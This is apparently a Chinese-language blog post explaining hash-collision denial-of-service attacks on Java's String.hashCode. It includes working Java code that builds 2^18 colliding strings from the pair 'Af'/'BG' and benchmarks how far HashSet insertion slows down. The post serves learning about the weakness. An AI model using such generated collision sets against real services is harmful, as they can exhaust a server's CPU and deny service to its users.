Java中Sring类的Hash冲突攻击实践

最近开始学Java,就顺便研究了下Java下的哈希冲突攻击,发现它的String类存在明显可用的攻击方法,就干脆测试了一下,下面简单介绍一下。

Hash冲突的原理其实很简单,当使用Hash表实现的集合来存储元素时(如Java的HashSet、HashMap,C++的unordered_set、unordered_map等),不必可免的会造成多个元素的Hash值相同,即出现冲突,当发生冲突时,有多种方法来进行处理,如线性探测再散列、二次探测再散列、再哈希和链地址法等等。其中用的最多的处理方法是链地址法,如图1所示。

1

链地址法将Hash值相同的元素用链表连接起来。至于为什么这种冲突处理方法用的最多,设装填因子a=哈希表已有元素数/哈希表长度,则每次查找成功时,平均查找长度如下:

pic3

画下函数图像可以发现链地址法的平均查找长度是最小的。

使用Hash表作为存储元素的集合时,必须用到Hash函数,我们希望Hash函数能将各个元素哈希后的值分布尽可能均匀,这样查找速度才快,而Hash冲突攻击的原理就是根据Hash函数,构造大量具有相同Hash值的元素,将其插入至表中,使得Hash表最终退化成一个单链表。

collision

而Java中的String类的hashcode函数写得十分简单,它的计算公式为(其中s即为字符串):

gs

这个函数实际上就是BKDR Hash函数,其中的因子31也可以换成13,131等等……

但对于这种Hash函数,可以使用“相等子串法”来构造哈希值相同的大量元素。使用“相等子串法”的Hash函数必须满足如下条件:若两个不同字符串的哈希值相同,即有f(str1) == f(str2),则必有f(prefix + str1 + suffix) == f(prefix + str2 + suffix),即在str1和str2的前后放置相同的字符串后,所得新的两个字符串的哈希值仍然相等。而BKDR Hash就满足这种性质。

例如“Af”和“BG”哈希值相同,则有“AfAf”,“AfBG”,“BGAf”,“BGBG”的哈希值也相同。

下面这段代码是演示String类的Hash冲突,其生成了2^18个具有相同Hash值的字符串,并将其依次拷贝到ArrayList,TreeSet和HashSet集合中,理论上若元素随机的话,应该速度顺序是ArrayList > HashSet > TreeSet,但由于Hash冲突,实际拷贝时三者的时间复杂度会变成O(n),O(nlogn)和O(n^2),即HashSet变成最慢。

我这的测试环境为:CPU i5 4570,内存8G,Win7 x64,JDK7u45,IntelliJ IDEA 13。

测试结果为:ArrayList耗时1ms,TreeSet为121ms,而HashSet则需604071ms。Hash冲突攻击成功。

测试代码如下所示(初写Java,请无视我写得太渣吧…)。

public class Demo {
    public static void main(String[] args) {
        ArrayList<String> arrRet = new ArrayList<String>();
        StrCollide col = new StrCollide();
        col.Generate(arrRet, 18);

        // 测试速度
        Date begTime = new Date();
        ArrayList<String> ArrCandidate = new ArrayList<String>(arrRet);
        Date endTime = new Date();
        System.out.println("The Time of ArrayList insertion is : " + (endTime.getTime() - begTime.getTime()));

        begTime = new Date();
        TreeSet<String> TreeCandidate = new TreeSet<String>(arrRet);
        endTime = new Date();
        System.out.println("The Time of TreeSet insertion is : " + (endTime.getTime() - begTime.getTime()));

        begTime = new Date();
        HashSet<String> HashCandidate = new HashSet<String>(arrRet);
        endTime = new Date();
        System.out.println("The Time of HashSet insertion is : " + (endTime.getTime() - begTime.getTime()));
    }
}

class StrCollide {
    /**
     * @param Set 存储具有相同HashCode值的String变量
     * @param n   集合内元素个数,单位为幂
     * @return 操作是否成功
     * @description 为String变量构造Hash冲突,并将结果存储在集合中
     **/
    public boolean Generate(Collection<String> Set, int n) {
        if (Set == null || n < 1)
            return false;

        // 寻找两个Hash值相同的String
        Set.clear();
        ArrayList<String> ArrPair = FindColPair();
        if (ArrPair != null && ArrPair.size() >= 2) {
            for(int iNum = 0; iNum < Math.pow(2, n); ++iNum) {
                String strTmp = Integer.toBinaryString(iNum);
                strTmp = String.format("%0" + n + "d", new BigInteger(strTmp, 10));
                strTmp = strTmp.replaceAll("0", ArrPair.get(0));
                strTmp = strTmp.replaceAll("1", ArrPair.get(1));
                Set.add(strTmp);
            }
            return true;
        }
        return false;
    }

    /**
     * description 寻找最初的两个Hash值相同的String变量 *
     * @return 存储这两个String的集合
     **/
    private ArrayList<String> FindColPair() {
        ArrayList<String> ArrRet = new ArrayList<String>();
        HashMap<Integer, String> mapTmp_ori = new HashMap<Integer, String>();
        HashMap<Integer, String> mapTmp_add = new HashMap<Integer, String>();
        mapTmp_ori.put(0, "");
        while (true) {
            // 遍历源集合
            mapTmp_add.clear();
            mapTmp_add.putAll(mapTmp_ori);
            for(Map.Entry<Integer, String> elem : mapTmp_ori.entrySet()) {
                for(char ch = 48; ch <= 122; ++ch) {
                    // 48-122是数字到字母的ASCII码范围
                    if(Character.isLetter(ch)) {
                        String strTmp = ch + elem.getValue();
                        int hCode = strTmp.hashCode();
                        if(mapTmp_add.get(hCode) != null && !mapTmp_add.get(hCode).equals(strTmp)) {
                            // 找到Hash值相同的两个String
                            ArrRet.add(strTmp);
                            ArrRet.add(mapTmp_add.get(hCode));
                            return ArrRet;
                        } mapTmp_add.put(hCode, strTmp);
                    }
                }
            }
            mapTmp_add.remove(0);
            // 交换两个集合
            HashMap<Integer, String> tmp = mapTmp_ori;
            mapTmp_ori = mapTmp_add;
            mapTmp_add = tmp;
        }
    }
}

《Java中Sring类的Hash冲突攻击实践》有一个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注